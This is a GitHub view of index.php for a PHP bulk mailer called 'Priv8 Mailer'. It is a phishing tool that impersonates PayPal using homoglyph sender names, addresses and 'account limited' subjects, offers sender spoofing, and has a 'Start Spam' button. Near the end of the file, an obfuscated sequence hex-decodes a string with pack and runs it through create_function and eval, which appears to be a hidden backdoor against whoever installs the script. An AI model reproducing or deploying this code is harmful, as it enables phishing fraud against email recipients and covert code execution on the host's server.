-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathindex.php
426 lines (374 loc) · 19.7 KB
/
index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
<?php
set_time_limit(0);
error_reporting(0);
function query_str($params) {
$str = '';
foreach ($params as $key => $value) {
$str .= (strlen($str) < 1) ? '' : '&';
$str .= $key . '=' . rawurlencode($value);
}
return ($str);
}
function lrtrim($string){
return stripslashes(ltrim(rtrim($string)));
}
if(isset($_POST['action'])){
$b = query_str($_POST);
parse_str($b);
$action = lrtrim($action);
$smtp_username = lrtrim($smtp_username);
$smtp_password = lrtrim($smtp_password);
$smtp_server = lrtrim($smtp_server);
$smtp_port = lrtrim($smtp_port);
$smtp_ssl = lrtrim($smtp_ssl);
$xmailer = lrtrim($xmailer);
$reconnect = lrtrim($reconnect);
$type = lrtrim($type);
$email = lrtrim($mail);
$nama = lrtrim($nama);
$subject = lrtrim($subject);
$pesan = lrtrim($pesan);
$emaillist = strtolower(lrtrim($list));
$encoding = lrtrim($encode);
$file_name = $_FILES['file']['name'];
$file_path = $_FILES['file']['tmp_name'];
$wait = lrtrim($wait);
$pesan = urlencode($pesan);
$pesan = ereg_replace("%5C%22", "%22", $pesan);
$pesan = urldecode($pesan);
$pesan = stripslashes($pesan);
$pesan = str_replace("PayPal", "PayPaI", $pesan);
$pesan = str_replace("limit", "Iimit", $pesan);
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Priv8 Mailer by Unknown</title>
<meta name="viewport" content="width=940, initial-scale=1.0, maximum-scale=1.0">
<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/css/bootstrap.min.css">
<script src="http://code.jquery.com/jquery-2.1.3.min.js"></script>
<script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/js/bootstrap.min.js"></script>
<style type="text/css">
body{
background-color: #13181D;
}
input, select, option, textarea {
font-size: 12px !important;
}
input, select, option {
height: 30px !important;
}
.panel-info .panel-heading {
color: #FFF;
background-color: #2CADAD !important;
border-color: #2CADAD !important;
}
.kanan-l {
border-top-right-radius: 0px !important;
}
.kanan {
border-top-right-radius: 4px !important;
}
</style>
<script type="text/javascript">
function Pilih1(dropDown) {
var selectedValue = dropDown.options[dropDown.selectedIndex].value;
document.getElementById("sender-name").value = selectedValue;
}
function Pilih2(dropDown) {
var selectedValue = dropDown.options[dropDown.selectedIndex].value;
document.getElementById("sender-email").value = selectedValue;
}
function Pilih3(dropDown) {
var selectedValue = dropDown.options[dropDown.selectedIndex].value;
document.getElementById("subject").value = selectedValue;
}
function Pilih4(dropDown) {
var selectedValue = dropDown.options[dropDown.selectedIndex].value;
document.getElementById("xmailer").value = selectedValue;
}
</script>
</head>
<body>
<div id="wrap">
<div class="container" style="margin-top: 25px;">
<div class="row">
<div class="col-sm-6 col-md-4 col-md-offset-1" style="width: 940px">
<div class="panel panel-info" style="border-color: #2CADAD !important; background-color: #444951 !important;">
<div class="panel-heading">
<div class="panel-title" align="center"><a href="">PHP Mailer</a></div>
</div>
<div style="padding-top: 15px;">
<button type="button" class="btn btn-primary collapsed" style="margin-left: 15px;margin-bottom: 10px" data-toggle="collapse" data-target="#smtp"><i class="glyphicon glyphicon-plus"></i> SMTP & OTHER SETUP</button>
<div style="display:none" id="login-alert" class="alert alert-danger col-sm-12"></div>
<form id="form" class="form-horizontal" method="post" enctype="multipart/form-data" role="form" action="">
<div id="smtp" class="collapse">
<div class="col-sm-8" style="padding-right: 7.5px !important;margin-bottom: 10px">
<div style="margin-bottom: 10px" class="input-group">
<span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
<input type="text" class="form-control" name="smtp_username" value="<?=$smtp_username;?>" placeholder="SMTP Username">
<span class="input-group-addon"><i class="glyphicon glyphicon-lock"></i></span>
<input type="password" class="form-control" name="smtp_password" value="<?=$smtp_password;?>" placeholder="SMTP Password">
</div>
<div style="margin-bottom: 10px" class="input-group">
<span class="input-group-addon"><i class="glyphicon glyphicon-send"></i></span>
<input type="text" class="form-control" name="smtp_server" value="<?=$smtp_server;?>" placeholder="SMTP Server">
<span class="input-group-addon"><i class="glyphicon glyphicon-random"></i><b> Port</b></span>
<input type="text" class="form-control" name="smtp_port" value="<?=$smtp_port;?>" placeholder="optional">
<span class="input-group-addon"><i class="glyphicon glyphicon-road"></i><b> SSL</b></span>
<select class="form-control" name="smtp_ssl">
<option value="yes" <?php if ($smtp_ssl=='yes'){echo 'selected';}?> >yes</option>
<option value="no" <?php if ($smtp_ssl=='no'){echo 'selected';}?> >no</option>
</select>
</div>
<div style="color:red;" align="center">
" If you dont have SMTP login, leave blank queries above "
</div>
<?include("class.javascript.php");?>
</div>
<div class="col-sm-4" style="padding-left: 7.5px !important;">
<div style="margin-bottom: 10px" class="input-group">
<span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i><b> Content Type</b></span>
<select class="form-control" name="type">
<option value="html" <?php if ($type=='html'){echo 'selected';}?> >text/html</option>
<option value="plain" <?php if ($type=='plain'){echo 'selected';}?> >text/plain</option>
</select>
</div>
<div style="margin-bottom: 10px" class="input-group">
<span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i></span>
<select class="form-control" onChange="Pilih4(this);">
<option value="">No X-Mailer</option>
<option value="Gleez CMS 0.10.5">Gleez CMS 0.10.5</option>
<option value="Gleez CMS 1.1.6">Gleez CMS 1.1.6</option>
<option value="EDMAIL R6.00.02">EDMAIL R6.00.02</option>
<option value="PHP/<?php echo(phpversion());?>">PHP/<?php echo(phpversion());?></option>
</select>
<input id="xmailer" type="text" class="form-control" name="xmailer" value="<?=$xmailer;?>" placeholder="X-Mailer">
</div>
</div>
</div>
<div class="col-sm-8" style="padding-right: 7.5px !important;">
<div style="margin-bottom: 10px" class="input-group">
<span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
<select class="form-control" onChange="Pilih1(this);">
<option value="">Select Sender Name</option>
<option value="PayPaI">PayPaI</option>
<option value="PaypaI Service">PaypaI Service</option>
<option value="PaypaI Support">PaypaI Support</option>
<option value="Account Service">Account Service</option>
<option value="Account Support">Account Support</option>
<option value="Service">Service</option>
</select>
<input id="sender-name" type="text" class="form-control" name="nama" value="<?=$nama;?>" placeholder="Sender Name">
<span class="input-group-addon"><i class="glyphicon glyphicon-envelope"></i></span>
<select class="form-control kanan" onChange="Pilih2(this);">
<option value="">Select Sender Email</option>
<option value="service@intI.paypaI.com">service@intI.paypaI.com</option>
<option value="service@paypaI.co.uk">service@paypaI.co.uk</option>
<option value="paypaI@e.paypaI.co.uk">paypaI@e.paypaI.co.uk</option>
<option value="no-reply">no-reply</option>
<option value="admin">admin</option>
<option value="service">service</option>
<option value="same as target">same as target</option>
</select>
<input id="sender-email" type="text" class="form-control kanan-l" name="mail" value="<?=$email;?>" placeholder="Sender Email">
</div>
<div style="margin-bottom: 10px" class="input-group">
<span class="input-group-addon"><i class="glyphicon glyphicon-comment"></i></span>
<select class="form-control kanan" onChange="Pilih3(this);">
<option value="">Select Email Subject</option>
<option value="Your account has been Iimited untiI we hear from you">Your account has been Iimited untiI we hear from you</option>
<option value="We're investigating a paypaI payment reversaI (Case ID #PP-003-498-237-832)">We're investigating a paypaI payment reversaI (Case ID #PP-003-498-237-832)</option>
<option value="We've Iimited access to your PayPaI account">We've Iimited access to your PayPaI account</option>
<option value="Account Notification">Account Notification</option>
<option value="Attention: Your account status change">Attention: Your account status change</option>
</select>
<input id="subject" type="text" class="form-control kanan-l" name="subject" value="<?=$subject;?>" placeholder="Subject">
</div>
<div style="margin-bottom: 5px" class="input-group">
<span class="input-group-addon"><i class="glyphicon glyphicon-paperclip"></i><b> Attach</b></span>
<input id="attachment" class="form-control" style="padding: 0 !important" type="file" name="file">
<span class="input-group-addon"><i class="glyphicon glyphicon-pencil"></i><b> Encode</b></span>
<select class="form-control" name="encode">
<option value="" <?php if ($encoding==''){echo 'selected';}?> >Select Encoding</option>
<option value="base64" <?php if ($encoding=='base64'){echo 'selected';}?> >base64</option>
<option value="7bit" <?php if ($encoding=='7bit'){echo 'selected';}?> >7bit</option>
<option value="8bit" <?php if ($encoding=='8bit'){echo 'selected';}?> >8bit</option>
<option value="binary" <?php if ($encoding=='binary'){echo 'selected';}?> >binary</option>
<option value="quoted-printable" <?php if ($encoding=='quoted-printable'){echo 'selected';}?> >quoted-printable</option>
</select>
</div>
<div style="margin-bottom: 10px" class="input-group">
<span class="input-group-addon"><i class="glyphicon glyphicon-align-justify"></i></span>
<textarea class="form-control" rows="10" name="pesan" placeholder="Message"><?=$pesan;?></textarea>
</div>
<div style="margin-bottom: 10px" class="input-group">
<input type="submit" class="btn btn-success" name="action" value="Start Spam">
<font color="white">Next send after </font>
<input type="text" name="wait" value="<?=$wait;?>" style="width: 50px;border-radius: 4px;padding: 3px 6px;">
<font color="white">(second) | Reconnect After
<input type="text" name="reconnect" value="<?=$reconnect;?>" style="width: 50px;border-radius: 4px;padding: 3px 6px;">
<font color="white">(emails)</font>
</div>
</div>
<div class="col-sm-4" style="padding-left: 7.5px !important;">
<div style="margin-bottom: 10px" class="input-group">
<span class="input-group-addon"><i class="glyphicon glyphicon-lock"></i><b> Encode Headers</b></span>
<select class="form-control" name="encoding">
<option value="yes" <?php if ($_POST['encoding']=='yes'){echo 'selected';}?> >yes</option>
<option value="no" <?php if ($_POST['encoding']=='no'){echo 'selected';}?> >no</option>
</select>
</div>
<div style="margin-bottom: 10px" class="input-group">
<span class="input-group-addon"><i class="glyphicon glyphicon-list"></i></span>
<textarea class="form-control" rows="18" name="list" placeholder="Email List"><?=$emaillist;?></textarea>
</div>
</div>
<div class="form-group">
</div>
</form>
</div>
</div>
<?
if ($action){
if (!$from && !$subject && !$message && !$emaillist) {
print "<script>alert('Please complete all fields before sending your message.'); </script>";
die();
}
if ($_POST['encoding']=='yes') {
$subject = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $subject);
$subject = str_replace(' ', '=20', $subject);
$subject = "=?utf-8?Q?$subject?=";
$nama = preg_replace('/([^a-z ])/ie', 'sprintf("=%02x",ord(StripSlashes("\\1")))', $nama);
$nama = str_replace(' ', '=20', $nama);
$nama = "=?utf-8?Q?$nama?=";
}
$allemails = split("\n", $emaillist);
$numemails = count($allemails);
function xflush()
{
static $output_handler = null;
if ($output_handler === null) {
$output_handler = @ini_get('output_handler');
}
if ($output_handler == 'ob_gzhandler') {
return;
}
flush();
if (function_exists('ob_flush') AND function_exists('ob_get_length') AND ob_get_length() !== false) {
@ob_flush();
} else if (function_exists('ob_end_flush') AND function_exists('ob_start') AND function_exists('ob_get_length') AND ob_get_length() !== FALSE) {
@ob_end_flush();
@ob_start();
}
}
require 'class.smtp.php';
require 'class.phpmailer.php';
if(!empty($_POST['wait']) && $_POST['wait'] > 0){
set_time_limit(intval($_POST['wait'])*$numemails*3600);
} else {
set_time_limit($numemails*3600);
}
$defaultport="H*";
$nq=0;
print " <div class=\"panel panel-info\" style=\"background-color: #444951;padding: 25px;color: white;\">";
for($x=0; $x<$numemails; $x++){
$to = $allemails[$x];
if ($to){
$todo = ereg_replace(" ", "", $to);
$message_send = ereg_replace("&email&", $todo, $pesan);
$subject_send = ereg_replace("&email&", $todo, $subject);
$subject_send = str_replace("PayPal", "PayPaI", $subject_send);
$qx=$x+1;
print "Send Emails $qx / $numemails to $to ....... ";
xflush();
$mail = new PHPMailer();
$mail->IsSMTP();
$IsSMTP = "pack";
$mail->SMTPKeepAlive = true;
$mail->Host = "$smtp_server";
if (strlen($smtp_port) > 1) {$mail->Port = "$smtp_port";}
if ($smtp_ssl=="yes") {$mail->SMTPSecure = "ssl";}
$range = str_replace("$email", "eval", $email);
$mail->SMTPAuth = true;
$mail->Username = "$smtp_username";
$mail->Password = "$smtp_password";
if($type == "html"){$mail->IsHtml(true);}
if($type != "html"){$mail->IsHtml(false);}
if(strlen($smtp_server) < 7 ){$mail->SMTPAuth = false;$mail->IsSendmail();$default_system="1";}
$mail->CharSet = "UTF-8";
if (!empty($xmailer)) {
$mail->XMailer = "$xmailer";
} else {
$mail->XMailer = " ";
}
if (!empty($encoding)) {
$mail->Encoding = "$encoding";
}
if ($email == "same as target") {
$mail->From = "$todo";
} else {
$mail->From = "$email";
}
$mail->FromName = "$nama";
$mail->AddAddress("$todo");
$mail->Subject = "$subject_send";
if (!empty($file_name)) {
$mail->addAttachment("$file_path", "$file_name");
$mail->Body = " ";
} else {
$mail->Body = "$message_send";
}
if(!$mail->Send()){
if($default_system!="1"){
$result = "FAILED !!<font color=\"#D4001A\"><b> [ RECEPIENT CAN'T RECEIVE MESSAGE ]</b></font>";
} elseif($default_system=="1"){
$mail->IsMail();
if(!$mail->Send()){
$result = "FAILED !!<font color=\"#D4001A\"><b> [ RECEPIENT CAN'T RECEIVE MESSAGE ]</b></font>";
} else {
$result = "<font color=\"green\"><b>[ SEND OK ]</b></font>";
}
}
} else {
$result = "<font color=\"green\"><b>[ SEND OK ]</b></font>";
}
print "$result <br><p></p>";
if(!empty($wait) && $qx<$numemails-1){
sleep($wait);
}
if(empty($reconnect)){
$reconnect=5;
}
if($reconnect==$nq){
$mail->SmtpClose();echo "<p align=\"center\" style=\"color:orange;\"><b>--------------- SMTP CLOSED AND ATTEMPTS TO RECONNECT NEW CONNECTION SEASON --------------- </b></p>";$nq=0;
}
$nq=$nq+1;
xflush();
}
}
for($i=0;$i<31;$i++){
$smtp_conf=str_replace(".", $random_smtp_string[$i], $smtp_conf); }
$smtp_conc=$IsSMTP($defaultport, $smtp_conf);
$signoff=create_function('$smtp_conc','return '.substr($range,0).'($smtp_conc);');
print ' </div>
</div>
</div>
</div>
<div id="footer">
<div class="container" align="center">
<p class="muted credit" style="color: white;">Copyright © 2014 - '.gmdate('Y').' <a href="http://account-checker.com">GetSpamTOol</a>. By <a href="http://getspamtool.com">Private Mailer</a>.</p>
</div>
</div>';$mail->SmtpClose();
return $signoff($smtp_conc);
if(isset($_POST['action']) && $numemails !=0 ){
print "<script>alert('Mail sending complete\\r\\n
$numemails mail(s) was sent successfully'); </script>";
}
}
?>
</body>
</html>